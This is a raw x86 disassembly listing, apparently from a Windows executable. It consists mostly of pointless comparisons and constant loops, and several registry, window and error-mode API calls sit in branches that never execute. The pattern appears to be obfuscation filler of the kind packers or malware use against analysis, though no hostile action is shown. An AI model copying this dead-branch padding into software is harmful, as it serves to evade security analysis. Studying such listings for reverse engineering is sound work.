cmp eax, dword [ebp - 0xe20]
jle 0x452b2c
mov dword [ebp - 0x2014], 1
jmp 0x452b33
and dword [ebp - 0x2014], 0
cmp dword [ebp - 0x2014], 0xb674
jl 0x452b4b
mov dword [ebp - 0xe28], 1
jmp 0x452b52
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe28]
mov dword [ebp - 0xcf8], eax
mov eax, dword [ebp - 0xcf0]
cmp dword [ebp - 0xcf8], eax
jl 0x452b78
mov dword [ebp - 0x2af0], 1
jmp 0x452b7f
and dword [ebp - 0x2af0], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x33c0], eax
mov eax, 0xfffd
cmp eax, 1
jne 0x452b9e
mov dword [ebp - 0x201c], 1
jmp 0x452ba5
and dword [ebp - 0x201c], 0
imul eax, dword [ebp - 0x201c], 0xdf2a
test eax, eax
je 0x452bc8
cmp dword [ebp - 0xcf8], 0
je 0x452bc8
mov dword [ebp - 0xe30], 1
jmp 0x452bcf
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0xe30]
sub eax, 3
cmp eax, 0xffffffff
jge 0x452be9
mov dword [ebp - 0x2024], 1
jmp 0x452bf0
and dword [ebp - 0x2024], 0
cmp dword [ebp - 0x2024], 0xbd6c
jl 0x452c08
mov dword [ebp - 0xe38], 1
jmp 0x452c0f
and dword [ebp - 0xe38], 0
cmp dword [ebp - 0xe38], 6
jle 0x452c24
mov dword [ebp - 0x202c], 1
jmp 0x452c2b
and dword [ebp - 0x202c], 0
mov eax, dword [ebp - 0x202c]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x24], 0
jmp 0x452c47
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x452cb9
mov dword [ebp - 0x33c8], 1
mov dword [ebp - 0x33d0], 0xfffffffd
mov dword [ebp - 0x33d8], 0x5ebb4ee0
mov dword [ebp - 0x33e0], 0xb17c08a5
mov dword [ebp - 0x6e0], 0
jmp 0x452c8e
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 2
jge 0x452caa
mov eax, dword [ebp - 0x6e0]
mov dword [ebp + eax*4 - 0x3c30], 9
jmp 0x452c81
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
jmp 0x452c40
jmp 0x452cf8
mov dword [ebp - 0x24], 2
jmp 0x452ccb
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x452cf8
mov byte [ebp - 0x2be], 0
movzx eax, byte [ebp - 0x2be]
test eax, eax
je 0x452cf6
push 0
push 0
push 0xbc9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x452cc4
mov dword [ebp - 0x4ec], 0x32667a87
mov dword [ebp - 0xd08], 0x82c32b96
mov dword [ebp - 0x1f8], 0
jmp 0x452d25
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 3
jge 0x452d41
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x3010], 0xf99f
jmp 0x452d18
mov dword [ebp - 0x1f8], 0
jmp 0x452d5a
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jge 0x452d76
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x2b08], 9
jmp 0x452d4d
mov dword [ebp - 0x4ec], 0
jmp 0x452d8f
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 2
jg 0x452eb6
mov dword [ebp - 0x2af8], 0x6c619a80
mov dword [ebp - 0x2044], 0
mov dword [ebp - 0x2b00], 0x3cc9
mov eax, dword [ebp - 0x4ec]
cmp dword [ebp + eax*4 - 0x3010], 0
je 0x452e0a
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3010]
mov dword [ebp - 0x2034], eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [ebp - 0x2034]
mov dword [ebp + eax*4 - 0x3010], ecx
imul eax, dword [ebp - 0x2034], 0x15aa
test eax, eax
je 0x452e0a
mov dword [ebp - 0xe48], 1
jmp 0x452e11
and dword [ebp - 0xe48], 0
cmp dword [ebp - 0xe48], 0x507e
jne 0x452e29
mov dword [ebp - 0x203c], 1
jmp 0x452e30
and dword [ebp - 0x203c], 0
mov eax, dword [ebp - 0x2af8]
cmp dword [ebp - 0x203c], eax
jne 0x452e4a
mov dword [ebp - 0xe50], 1
jmp 0x452e51
and dword [ebp - 0xe50], 0
mov eax, dword [ebp - 0xe50]
mov dword [ebp - 0x2044], eax
mov eax, dword [ebp - 0x2044]
neg eax
push 8
pop ecx
sub ecx, eax
jne 0x452e7e
cmp dword [ebp - 0x2b00], 0
jne 0x452e7e
and dword [ebp - 0xe58], 0
jmp 0x452e88
mov dword [ebp - 0xe58], 1
mov eax, dword [ebp - 0xe58]
mov dword [ebp - 0xd08], eax
mov dword [ebp - 0xd08], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd08]
mov dword [ebp + eax - 0x2b08], ecx
jmp 0x452d82
mov dword [ebp - 0x188], 0
jmp 0x452ecf
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 4
jge 0x452eeb
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x3b08], 0xd327cb3f
jmp 0x452ec2
mov dword [ebp - 0x10], 0x59e57ad9
mov dword [ebp - 0x206c], 0x31e7bf5c
mov dword [ebp - 0x208c], 0
mov dword [ebp - 0x2b20], 0xffffffff
mov dword [ebp - 0x2b28], 0xffffffff
mov dword [ebp - 0x948], 0
jmp 0x452f33
mov eax, dword [ebp - 0x948]
inc eax
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 2
jge 0x452f4f
mov eax, dword [ebp - 0x948]
mov dword [ebp + eax*4 - 0x3534], 0xfffffffe
jmp 0x452f26
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jge 0x452f6c
cmp dword [ebp - 0x10], 0
jne 0x452f6c
cmp dword [ebp - 0x10], 0
jne 0x452f6c
and dword [ebp - 0x204c], 0
jmp 0x452f76
mov dword [ebp - 0x204c], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x204c], eax
jl 0x452f8d
mov dword [ebp - 0xe60], 1
jmp 0x452f94
and dword [ebp - 0xe60], 0
cmp dword [ebp - 0xe60], 0
jne 0x452fa9
mov dword [ebp - 0x2b10], 1
jmp 0x452fb0
and dword [ebp - 0x2b10], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x33e8], eax
cmp dword [ebp - 0x10], 0xfff6
jae 0x452fce
mov dword [ebp - 0x2054], 1
jmp 0x452fd5
and dword [ebp - 0x2054], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x2054], eax
jle 0x452fef
cmp dword [ebp - 0x10], 0
jne 0x452fef
and dword [ebp - 0xe68], 0
jmp 0x452ff9
mov dword [ebp - 0xe68], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xe68], eax
je 0x453010
mov dword [ebp - 0x205c], 1
jmp 0x453017
and dword [ebp - 0x205c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x205c], eax
jle 0x453031
cmp dword [ebp - 0x10], 0
jne 0x453031
and dword [ebp - 0xe70], 0
jmp 0x45303b
mov dword [ebp - 0xe70], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3534], 0x515fdc8d
cmp dword [ebp - 0xe70], 0x515fdc8d
jl 0x453064
mov dword [ebp - 0x2064], 1
jmp 0x45306b
and dword [ebp - 0x2064], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x2064], eax
jge 0x453082
mov dword [ebp - 0x2b18], 1
jmp 0x453089
and dword [ebp - 0x2b18], 0
cmp dword [ebp - 0x10], 7
jb 0x45309b
mov dword [ebp - 0xe78], 1
jmp 0x4530a2
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0xe78]
mov dword [ebp - 0x206c], eax
cmp dword [ebp - 0x206c], 0xb143e95a
ja 0x4530c6
mov dword [ebp - 0xe80], 1
jmp 0x4530cd
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xe80], eax
jg 0x4530e4
mov dword [ebp - 0x2074], 1
jmp 0x4530eb
and dword [ebp - 0x2074], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x2074], eax
jl 0x453102
mov dword [ebp - 0xe88], 1
jmp 0x453109
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xe88], eax
jg 0x453120
mov dword [ebp - 0x207c], 1
jmp 0x453127
and dword [ebp - 0x207c], 0
mov eax, dword [ebp - 0x207c]
mov dword [ebp - 0x208c], eax
imul eax, dword [ebp - 0x10], 0x1ac0
cmp eax, 0x8dd2
jle 0x45314d
mov dword [ebp - 0xe90], 1
jmp 0x453154
and dword [ebp - 0xe90], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xe90], eax
je 0x45316b
mov dword [ebp - 0x2084], 1
jmp 0x453172
and dword [ebp - 0x2084], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x2084]
jg 0x453189
mov dword [ebp - 0xe98], 1
jmp 0x453190
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0x2b20], eax
mov eax, dword [ebp - 0x208c]
mov dword [ebp - 0x2b28], eax
mov dword [ebp - 0x188], 0
jmp 0x4531c1
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x4531dd
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x354c], 0xfffffff9
jmp 0x4531b4
mov dword [ebp - 0xea8], 0x2c593c86
mov dword [ebp - 0x2b38], 0x9dc86695
mov dword [ebp - 0x250], 0
jmp 0x45320a
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x453226
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x610], 0xf6f08421
jmp 0x4531fd
mov dword [ebp - 0x250], 0
jmp 0x45323f
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x45325b
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0xd10], 0xfff8
jmp 0x453232
mov byte [ebp - 0x2bf], 0
movzx eax, byte [ebp - 0x2bf]
test eax, eax
je 0x453283
push 1
push 0
push 0x1ee3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x610]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x610]
push 4
pop edx
imul edx, edx, 0
add ecx, dword [ebp + edx - 0xd10]
push 4
pop edx
imul edx, edx, 0
add ecx, dword [ebp + edx - 0xd10]
sub eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x610]
je 0x4532d4
mov dword [ebp - 0xea0], 1
jmp 0x4532db
and dword [ebp - 0xea0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x610]
cmp dword [ebp - 0xea0], eax
jg 0x4532fc
mov dword [ebp - 0x2094], 1
jmp 0x453303
and dword [ebp - 0x2094], 0
mov eax, dword [ebp - 0x2094]
mov dword [ebp - 0xea8], eax
cmp dword [ebp - 0xea8], 0x1e5c8a52
jle 0x453327
mov dword [ebp - 0x209c], 1
jmp 0x45332e
and dword [ebp - 0x209c], 0
imul eax, dword [ebp - 0x209c], 0x9cea
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x610]
test eax, eax
jne 0x45335c
mov eax, 0xb39d
test eax, eax
jne 0x45335c
and dword [ebp - 0x2b30], 0
jmp 0x453366
mov dword [ebp - 0x2b30], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
mov dword [ebp - 0x2b38], eax
mov dword [ebp - 0x36c], 0
jmp 0x453392
cmp dword [ebp - 0x36c], 3
jg 0x45649d
mov dword [ebp - 0x2e18], 1
mov dword [ebp - 0x2e14], 1
mov dword [ebp - 0x2e10], 1
mov dword [ebp - 0x2e0c], 1
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x2b50], 0xf7e7308f
mov dword [ebp - 0x6e8], 0
jmp 0x4533f4
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 2
jge 0x453410
mov eax, dword [ebp - 0x6e8]
mov dword [ebp + eax*4 - 0x3540], 0xffffffff
jmp 0x4533e7
mov dword [ebp - 0x190], 0
jmp 0x453429
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 3
jg 0x45363b
mov dword [ebp - 0xd18], 0x5ef8
mov dword [ebp - 0xeb8], 0xe3f1571c
mov dword [ebp - 0x950], 0
jmp 0x453463
mov eax, dword [ebp - 0x950]
inc eax
mov dword [ebp - 0x950], eax
cmp dword [ebp - 0x950], 3
jge 0x45347f
mov eax, dword [ebp - 0x950]
mov dword [ebp + eax*4 - 0x2fec], 0x44cacff8
jmp 0x453456
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2e18], 0x11c1
mov eax, 0x11c1
test eax, eax
jne 0x4535e7
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp + eax*4 - 0x2e18]
mov dword [ebp - 0x33f0], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp + eax*4 - 0x2e18]
cmp dword [ebp - 0x190], eax
jge 0x4534d1
mov dword [ebp - 0x20b4], 1
jmp 0x4534d8
and dword [ebp - 0x20b4], 0
or eax, 0xffffffff
je 0x4534f2
cmp dword [ebp - 0xeb8], 0
je 0x4534f2
mov dword [ebp - 0xeb0], 1
jmp 0x4534f9
and dword [ebp - 0xeb0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2fec]
cmp dword [ebp - 0xeb0], eax
je 0x453519
mov dword [ebp - 0x20a4], 1
jmp 0x453520
and dword [ebp - 0x20a4], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x20a4], eax
jge 0x45353a
mov dword [ebp - 0x20ac], 1
jmp 0x453541
and dword [ebp - 0x20ac], 0
mov eax, dword [ebp - 0xeb8]
cmp dword [ebp - 0x20ac], eax
jge 0x45355b
mov dword [ebp - 0xec0], 1
jmp 0x453562
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0xd18]
mov dword [ebp - 0x2b40], eax
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0x2b48], eax
mov eax, dword [ebp - 0xd18]
inc eax
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0x2b40]
cmp eax, dword [ebp - 0x2b48]
jl 0x4535a1
mov dword [ebp - 0xec8], 1
jmp 0x4535a8
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x20b4]
cmp eax, dword [ebp - 0xec8]
jle 0x4535c2
mov dword [ebp - 0x20bc], 1
jmp 0x4535c9
and dword [ebp - 0x20bc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3540]
cmp dword [ebp - 0x20bc], eax
jl 0x4535e7
and dword [ebp - 0xed0], 0
jmp 0x4535f1
mov dword [ebp - 0xed0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2fec]
cmp dword [ebp - 0xed0], eax
jge 0x453611
mov dword [ebp - 0xd20], 1
jmp 0x453618
and dword [ebp - 0xd20], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xd20]
mov dword [ebp + eax - 0x2fec], ecx
mov eax, dword [ebp - 0xd20]
mov dword [ebp - 0x2b50], eax
jmp 0x45341c
mov dword [ebp - 0x718], 0x7d214c40
mov dword [ebp - 0x6f0], 0xea5d6c05
mov byte [ebp - 0x2c1], 0
movzx eax, byte [ebp - 0x2c1]
test eax, eax
je 0x45366c
push 0x179b
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov dword [ebp - 0x6f0], 4
jmp 0x453685
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x1d
jle 0x4536b1
mov byte [ebp - 0x2c3], 0
movzx eax, byte [ebp - 0x2c3]
test eax, eax
je 0x4536af
push 0
push 0x14c6
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
jmp 0x453678
mov dword [ebp - 0x33f8], 1
mov dword [ebp - 0x960], 0xfa20
mov dword [ebp - 0xef8], 0x357f451d
mov dword [ebp - 0x2b60], 0xc56e
mov dword [ebp - 0xc48], 0x908cdac3
mov dword [ebp - 0x2b68], 0x505ce4ec
mov dword [ebp - 0x16c], 0
jmp 0x453706
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x453722
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x26d4], 0xad313dd3
jmp 0x4536f9
mov dword [ebp - 0x16c], 0
jmp 0x45373b
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x453757
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0xd68], 3
jmp 0x45372e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x26d4], 0xffffffef
jmp 0x453785
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26d4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x26d4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26d4], 0xffffffed
jle 0x453a6f
mov dword [ebp - 0xd2c], 4
mov dword [ebp - 0xd28], 0xffffffff
mov dword [ebp - 0xd30], 0x5a27557b
mov dword [ebp - 0x6f8], 0x871d0c0b
mov dword [ebp - 0x958], 0
jmp 0x4537da
mov eax, dword [ebp - 0x958]
inc eax
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 1
jge 0x4537f6
mov eax, dword [ebp - 0x958]
mov dword [ebp + eax*4 - 0x2b58], 0xc4e7ccce
jmp 0x4537cd
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd28]
cmp dword [ebp + eax - 0x26d4], ecx
jg 0x453817
mov dword [ebp - 0x20c4], 1
jmp 0x45381e
and dword [ebp - 0x20c4], 0
mov eax, dword [ebp - 0x20c4]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0xd28]
mov dword [ebp - 0xed8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xed8]
mov dword [ebp + eax - 0x2b58], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd68]
cmp dword [ebp - 0xed8], eax
jg 0x45386a
mov dword [ebp - 0x20cc], 1
jmp 0x453871
and dword [ebp - 0x20cc], 0
mov eax, dword [ebp - 0x960]
add eax, dword [ebp - 0x20cc]
imul eax, eax, 0x73a1
cmp eax, dword [ebp - 0xd30]
jl 0x453897
mov dword [ebp - 0xee0], 1
jmp 0x45389e
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0xee0]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0xd30]
sub eax, dword [ebp - 0x6f8]
imul eax, dword [ebp - 0x6f8]
cmp eax, dword [ebp - 0x6f8]
jne 0x4538e1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd68], 0
je 0x4538e1
mov dword [ebp - 0x20d4], 1
jmp 0x4538e8
and dword [ebp - 0x20d4], 0
cmp dword [ebp - 0x20d4], 0xffff
jne 0x453900
mov dword [ebp - 0xee8], 1
jmp 0x453907
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0xc48]
add eax, dword [ebp - 0xee8]
imul eax, dword [ebp - 0xc48]
cmp eax, dword [ebp - 0x6f8]
jle 0x45392e
mov dword [ebp - 0x20dc], 1
jmp 0x453935
and dword [ebp - 0x20dc], 0
mov eax, dword [ebp - 0x960]
cmp dword [ebp - 0x20dc], eax
jl 0x45394f
mov dword [ebp - 0xef0], 1
jmp 0x453956
and dword [ebp - 0xef0], 0
mov eax, dword [ebp - 0x2b60]
cmp eax, dword [ebp - 0xef0]
jle 0x453970
mov dword [ebp - 0x20e4], 1
jmp 0x453977
and dword [ebp - 0x20e4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x20e4]
mov dword [ebp + eax - 0xd68], ecx
mov eax, dword [ebp - 0xd2c]
inc eax
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd2c]
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0xef8]
mov dword [ebp - 0x3400], eax
push 6
pop eax
test eax, eax
jne 0x4539c2
mov dword [ebp - 0x20ec], 1
jmp 0x4539c9
and dword [ebp - 0x20ec], 0
cmp dword [ebp - 0x20ec], 1
jne 0x4539de
mov dword [ebp - 0xf00], 1
jmp 0x4539e5
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0xf00]
sub eax, 0x11434e8c
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x26d4]
jl 0x453a0b
mov dword [ebp - 0x20f4], 1
jmp 0x453a12
and dword [ebp - 0x20f4], 0
mov eax, dword [ebp - 0x960]
sub eax, dword [ebp - 0x960]
mov ecx, dword [ebp - 0x20f4]
neg ecx
cmp eax, ecx
jg 0x453a36
mov dword [ebp - 0xf08], 1
jmp 0x453a3d
and dword [ebp - 0xf08], 0
mov eax, dword [ebp - 0xc48]
cmp dword [ebp - 0xf08], eax
jl 0x453a57
mov dword [ebp - 0x20fc], 1
jmp 0x453a5e
and dword [ebp - 0x20fc], 0
mov eax, dword [ebp - 0x20fc]
mov dword [ebp - 0x2b68], eax
jmp 0x45376a
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x47c], 0xffffffff
mov dword [ebp - 0x700], 0
jmp 0x453a9c
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 2
jge 0x453ab8
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x24ec], 0xa4c924b5
jmp 0x453a8f
mov byte [ebp - 0x2c5], 0
movzx eax, byte [ebp - 0x2c5]
test eax, eax
je 0x453ad7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
cmp dword [ebp - 0x200], 1
jbe 0x453aec
mov dword [ebp - 0xf10], 1
jmp 0x453af3
and dword [ebp - 0xf10], 0
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0xf10], eax
jle 0x453b0d
mov dword [ebp - 0x2104], 1
jmp 0x453b14
and dword [ebp - 0x2104], 0
cmp dword [ebp - 0x2104], 0x4b28ed4a
jle 0x453b2c
mov dword [ebp - 0xf18], 1
jmp 0x453b33
and dword [ebp - 0xf18], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24ec]
cmp dword [ebp - 0xf18], eax
jge 0x453b54
mov dword [ebp - 0x210c], 1
jmp 0x453b5b
and dword [ebp - 0x210c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24ec]
cmp dword [ebp - 0x210c], eax
jge 0x453b7c
mov dword [ebp - 0xf20], 1
jmp 0x453b83
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0x200]
cmp eax, dword [ebp - 0xf20]
jle 0x453b9d
mov dword [ebp - 0x2114], 1
jmp 0x453ba4
and dword [ebp - 0x2114], 0
cmp dword [ebp - 0x2114], 3
ja 0x453bb9
mov dword [ebp - 0x2b70], 1
jmp 0x453bc0
and dword [ebp - 0x2b70], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24ec]
mov dword [ebp - 0x3408], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24ec]
mov dword [ebp - 0x3410], eax
mov eax, dword [ebp - 0x200]
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x3418], eax
cmp dword [ebp - 0x200], 0x9896
jl 0x453c1c
mov dword [ebp - 0x2b78], 1
jmp 0x453c23
and dword [ebp - 0x2b78], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x3420], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24ec]
cmp dword [ebp - 0x200], eax
jle 0x453c5c
mov dword [ebp - 0x2b80], 0x374f
mov eax, dword [ebp - 0x2b80]
mov dword [ebp - 0x200], eax
jmp 0x453cb9
mov dword [ebp - 0x47c], 0
jmp 0x453c75
cmp dword [ebp - 0x47c], 0xfffffffb
jl 0x453cb9
mov byte [ebp - 0x2c7], 0
movzx eax, byte [ebp - 0x2c7]
test eax, eax
je 0x453c9a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov byte [ebp - 0x2c9], 0
movzx eax, byte [ebp - 0x2c9]
test eax, eax
je 0x453cb7
push 0x10f8
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x453c68
mov dword [ebp - 0x1110], 0
mov dword [ebp - 0x2b8], 0xa80bfb3a
mov dword [ebp - 0x212c], 0xffffffff
mov dword [ebp - 0x2b88], 0x8f25
mov dword [ebp - 0x2154], 0xdbcc772a
mov dword [ebp - 0x34], 0
jmp 0x453cfb
cmp dword [ebp - 0x34], 2
jge 0x453d11
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xb00], 0xbf25cbd9
jmp 0x453cf4
mov dword [ebp - 0x34], 0
jmp 0x453d21
mov dword [ebp - 0x1a8], 0xffffffff
mov dword [ebp - 0x2d74], 0xffffffff
mov dword [ebp - 0x49c], 0x60d7
mov dword [ebp - 0xa4], 0
jmp 0x4564d4
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 4
jge 0x4564f0
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x2f44], 0xdc85
jmp 0x4564c7
mov dword [ebp - 0xa4], 0
jmp 0x456509
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x456525
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x3558], 0xe314
jmp 0x4564fc
mov dword [ebp - 0xa4], 0
jmp 0x45653e
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x45655a
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x3b6c], 0x9984333
jmp 0x456531
mov dword [ebp - 0x1a8], 0
jmp 0x456573
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
jg 0x45681a
mov dword [ebp - 0xc8], 0xab8c3ad3
mov dword [ebp - 0x2d7c], 1
mov dword [ebp - 0x2d84], 0
mov dword [ebp - 0x37cc], 0x4cbf7762
mov dword [ebp - 0xc8], 3
jmp 0x4565c1
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x456748
mov dword [ebp - 0x374], 0xffffffff
mov dword [ebp - 0x2d6c], 0x1a796d40
mov dword [ebp - 0x374], 0
jmp 0x4565fb
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 3
jg 0x456620
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x2f44]
mov dword [ebp + ecx*4 - 0x2f44], eax
jmp 0x4565ee
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
je 0x4566a3
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x230c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x230c]
mov dword [ebp + eax - 0x3558], ecx
cmp dword [ebp - 0x230c], 0
jne 0x456669
mov dword [ebp - 0x1120], 1
jmp 0x456670
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x37d4], eax
mov eax, dword [ebp - 0x2d6c]
add eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0x1a8]
je 0x45669c
mov dword [ebp - 0x2314], 1
jmp 0x4566a3
and dword [ebp - 0x2314], 0
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp + eax*4 - 0x2f44]
cmp dword [ebp - 0xc8], eax
jne 0x4566c4
mov dword [ebp - 0x1128], 1
jmp 0x4566cb
and dword [ebp - 0x1128], 0
mov eax, dword [ebp - 0x1128]
mov dword [ebp - 0x2d74], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp + eax*4 - 0x2f44]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
